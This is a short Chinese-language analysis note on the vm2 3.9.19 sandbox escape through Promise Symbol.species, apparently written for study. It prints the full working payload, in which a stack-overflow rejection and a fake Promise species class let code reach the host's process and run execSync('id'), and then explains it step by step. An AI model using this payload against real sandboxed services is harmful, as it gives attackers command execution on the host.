当前的vm存在一个无法修复的逃逸漏洞,直接导致了这个框架被废弃
资料
https://github.com/patriksimek/vm2/issues/533
Sandbox Escape in vm2@3.9.19 via Promise[@@species]
如之前所说,所有vm逃逸的本质都是获取沙盒外的对象,这个漏洞payload如下
const {VM} = require("vm2");
const vm = new VM();
const code = `
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('id'); }
)
}
}
};
p.then();
`;
console.log(vm.run(code));
根据大佬的报告分析,异步中的异常(Promise)可能导致主机对象泄漏到沙箱中,分开看代码
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
通过无限递归调用,使得栈溢出,这时候p进入rejected状态

后续将p.constructor重写为自定义对象,包含Symbol.species,指向攻击者定义的fakePromise类
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('id'); }
)
}
}
};
p.then();
Promise的Symbol.species 默认返回构造函数自身
console.log(Promise[Symbol.species] === Promise); // true
如此控制构造过程,当p.then()被调用时,会使用fakePromise 类,err应该是宿主机的对象?这点暂不明确。但应该是通过err.constructor.constructor访问到了宿主环境的function构造函数,完成的沙箱逃逸